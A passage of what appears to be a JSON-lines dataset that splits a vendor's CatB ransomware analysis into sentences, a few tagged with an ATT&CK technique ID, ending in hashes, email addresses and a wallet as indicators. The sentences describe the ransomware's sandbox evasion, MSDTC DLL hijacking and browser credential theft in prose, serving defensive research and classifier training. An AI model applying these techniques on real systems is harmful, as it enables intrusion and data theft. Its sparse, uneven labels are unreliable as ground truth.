Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "String similarities in the ransom notes as well as modifications left by the ransomware payloads suggest that CatB may be either an evolution or direct rebrand of the Pandora ransomware, which was active in early to mid-2022 and targeted the automotive industry.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "In this post, we offer a technical analysis of the CatB ransomware and its abuse of the legitimate MSDTC service, describing its evasion tactics, encryption behavior, and its attempts to steal credentials and browser data.", "labels": ["T1552.001"], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "CatB Ransomware Technical Information CatB payloads are distributed as a two DLL set.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "A dropper DLL is responsible for initial evasive environmental checks as well as dropping and launching the second DLL, which serves the ransomware payload.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "CatB Ransomware Process Graph First, the dropper is distributed in the form of a UPX-packed DLL (versions.dll).", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "This dropper deposits the second DLL payload (oci.dll) onto the target host.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "The dropper DLL is responsible for any sandbox evasion techniques required by the threat actor.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Sandbox evasion inhibits the analysis process and ultimately leads to more time in the target environment for the attacker.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "CatB performs three primary checks in an attempt to determine if the payload is being executed within a virtual environment.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "These are direct checks for type and size of physical RAM, type and size of physical hard disks, and checking for odd or anomalous combinations of processors and cores.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Upon execution, CatB payloads rely on DLL search order hijacking to drop and load the malicious payload.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "The dropper (versions.dll) drops the payload (oci.dll) into the System32 directory.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Oci.dll payloads in System32 (view from Singularity Console)", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "The malware then abuses the MSDTC service, manipulating the permissions and startup parameters.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "As a result, the system will inject the malicious oci.dll into the service’s executable (msdtc.exe) when the MSDTC service is restarted.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Taskill.exe is used to terminate the msdtc.exe process once the service configuration changes have been made.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Msdtc.exe termination syntax CatB ransomware excludes the following files and extensions from the encryption process: .msi, .dll, .sys, .iso and NTUSER.DAT.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Encryption exclusions in payload DLL", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "In addition to the hardcoded exclusions, the local disk volumes to be encrypted are also configured in a similar manner.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "By default, the oci.dll payload will attempt to encrypt C:\\users (crawl whole tree), I:, H:, G:, F:, E:, and D:.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Local encryption targets in oci.dll The lack of post-encryption alterations is a trait that sets CatB apart from other contemporaries.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Once encrypted, there is no blatant indicator – no separate ransom note dropped, no change to the desktop wallpaper, and no antagonizing file extensions.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Instead, what could be considered the ransom note is inserted into the beginning of each encrypted file.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Ransom note appended to head of encrypted file (catb991 variation)", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Per the ransom note, the only way to engage the threat actor is via email at the provided catB9991 protonmail address.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Beyond that, a single Bitcoin (BTC) address is provided for payment submissions.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "The ransom price is set to increase each day for five days and, following the fifth day, there will be “permanent data loss” if the victim does not comply.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Based on observations, there is no evidence to indicate that CatB operators are generating payment wallets for each victim as the Bitcoin address provided is not unique to each sample.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Generation of unique key file A key file is deposited onto each infected host in c:\\users\\public\\. This file must be included in email correspondence with the attackers as it is, ideally, a unique identifier for each victim or host.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Key file dropped for each victim Example CatB ‘key’ file Credential and Browser Data Theft", "labels": ["T1552.001"], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "In addition to file encryption and obfuscation, the CatB malware will attempt to gather specific, sensitive information from targeted systems.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "This includes browser session and credential data.", "labels": ["T1552.001"], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "The ransomware contains functionality to discover and extract user data from Mozilla Firefox, Google Chrome, Microsoft Edge as well as Internet Explorer.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Data extracted from browsers includes bookmarks, blocklists, crash logs, history, user profile data, autofill data, environmental settings, browser session keys, and more.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "CatB malware will also attempt to locate and extract sensitive information from Windows Mail profile data (\\AppData\\Local\\Microsoft\\Windows Mail\\).", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Variations of CatB Threat Campaigns Samples pulled from a November 2022 campaign feature a different contact email address, fishA001[@]protonmail.com.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "This later changes to the catB9991 protonmail address mentioned above.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "This is the only difference with regards to the ransom notes.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Other details such as payment-per-day breakdowns and the BTC payment address are identical.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Alternate ransom note (fisha001)", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "We have also encountered variations which include both email addresses.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "When these ‘double email’ notes are appended to the head of files, it looks as follows: Alternate ransom note (double-email, no BTC)", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "These ransom notes display all the same features minus the BTC payment address.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Also missing is the requirement to submit the key file in c\\users\\public\\key.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Notes that are missing the key submission feature suggest that they are artifacts of an earlier ‘test’ version of the ransomware.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "BTC Payment / Blockchain Status As the time of writing, the BTC address associated with CatB ransomware have zero transactions and a zero balance.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "BTC Balance for Wallet – bc1qakuel0s4nyge9rxjylsqdxnn9nvyhc2z6k27gz Conclusion CatB joins a long line of ransomware families that embrace semi-novel techniques and atypical behaviors such as appending notes to the head of files.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "These behaviors appear to be implemented in the interest of detection evasion and some level of anti-analysis trickery.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "For example, many environments rely solely on the appearance of ransom notes to alert them to the potential of a ransomware outbreak.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "This is not the case with CatB. Despite that, the threat lacks in overall sophistication, and a modern, properly configured, XDR/EDR solution should alert quickly upon initiation of a CatB attack in the environment.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "SentinelOne Singularity fully prevents and protects customers against malicious behaviors associated with CatB Ransomware. Indicators of Compromise SHA1 CatB Samples 1028a0e6cecb8cfc4513abdbe3b9d948cf7a5567 8c11109da1d7b9d3e0e173fd24eb4b7462073174 951e603af10ec366ef0f258bf8d912efedbb5a4b (early version note example) db99fc79a64873bef25998681392ac9be2c1c99c dd3d62a6604f28ebeeec36baa843112df80b0933 Email addresses catB9991[at]protonmail[.]com fishA001[at]protonmail[.]com BTC Wallets bc1qakuel0s4nyge9rxjylsqdxnn9nvyhc2z6k27gz", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}